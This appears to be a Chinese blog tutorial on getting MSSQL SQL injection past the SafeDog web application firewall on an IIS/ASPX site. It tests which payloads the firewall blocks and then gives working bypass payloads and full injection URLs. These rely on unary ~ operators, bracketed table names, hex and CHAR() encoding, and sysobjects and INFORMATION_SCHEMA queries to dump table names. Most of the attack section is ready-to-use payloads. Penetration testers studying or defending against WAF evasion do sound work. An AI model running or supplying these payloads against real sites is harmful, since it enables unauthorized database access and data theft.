渗透测试之MSSQL-bypass安全狗

MSSQL搭配的一般都是 ASP/ASPX IIS 等等,其中我们可以利用容器的特性,和脚本语言的 特性绕过比如ASPX的hpp,iis处理%符号的机制,但是这里就直接想办法在数据库方面来绕过。

测试环境 IIS+ASPX+MMSQL+IIS安全狗4.0

 

1.   开启安全狗的防护 并重启web服务

2.   简单的判断语句测试

and          不拦截
and 1        拦截
and -1       不拦截
and -1=-1    不拦截
and ~1       不拦截
and ~1=1     拦截
and ~1=~1    不拦截

  差不多判断下 安全狗对负数不是很敏感,对数学运算后的布尔值也不是敏感。

  and这块绕过了就可以爆出一些基本的信息了,比如用db_name()、user和@@version 都是可以直接用的,并不会被拦截,至少在我这个版本的狗是这样。

and @@version>~1
and (user|1)>-1
and (db_name()|1)>.1

 

  我们试试直接通过mssql的一些特性来绕过,爆表名的语句

and ~1=(select top 1 name from sysobjects where xtype='u' and name !='info');--  拦截
and ~1=(select top 1 name from);--                                               不拦截
and ~1=(select top 1 name from 1);--                                             拦截
and ~1=(select top 1 name from a);--                                             拦截
and ~1=(select top 1 name from !);--                                             不拦截

  可见安全狗在这里拦截的是我们from后面跟字符型或者数字型,我们就只需要找到一个符号来包裹他就可以,在mssql中可以包裹表库名称的符号是[]

and ~1=(select top 1 name from[sysobjects]);--
http://192.168.20.155/test.aspx?id=1%20and%20~1=(select%20top%201%20name%20from[sysobjects]);--

 

  确实也不拦截继续往后测试

and ~1=(select top 1 name from[sysobjects] where xtype='u');--  拦截
and ~1=(select top 1 name from[sysobjects] where xtype=);-- 不拦截
http://192.168.20.155/test.aspx?id=1%20and%20~1=(select%20top%201%20name%20from[sysobjects]%20where%20xtype='u');--

 

http://192.168.20.155/test.aspx?id=1%20and%20~1=(select%20top%201%20name%20from[sysobjects]%20where%20xtype=);--

 

  很简单我们在mssql中可以用char 和hex 来编码我们的表名

and ~1=(select top 1 name from[sysobjects] where xtype=0x75);--
http://192.168.20.155/test.aspx?id=1%20and%20~1=(select%20top%201%20name%20from[sysobjects]%20where%20xtype=0x75);--

 

基本上已经绕过了我们的爆出第一个表名的目的,假如要爆其他的表名 测试发现也是拦截 引号字符而已 用相同的方法绕过即可
and ~1=(select top 1 name from[sysobjects] where xtype=0x75 and name not in (CHAR(105)%2BCHAR(110)%2BCHAR(102)%2BCHAR(111),CHAR(97)%2BCHAR(100)%2BCHAR(109)%2BCHAR(105)%2BCHAR(110)));
其实还有一种方法爆表名利用INFORMATION_SCHEMA,但是安全狗有个设置直接拦截这个关键词,但是不是默认开启的,顺便提一下
http://192.168.130.137/1.aspx?id=1 and ~1=(select top 1 table_name from [INFORMATION_SCHEMA].[TABLES] where table_name not in (char(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)));--

 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值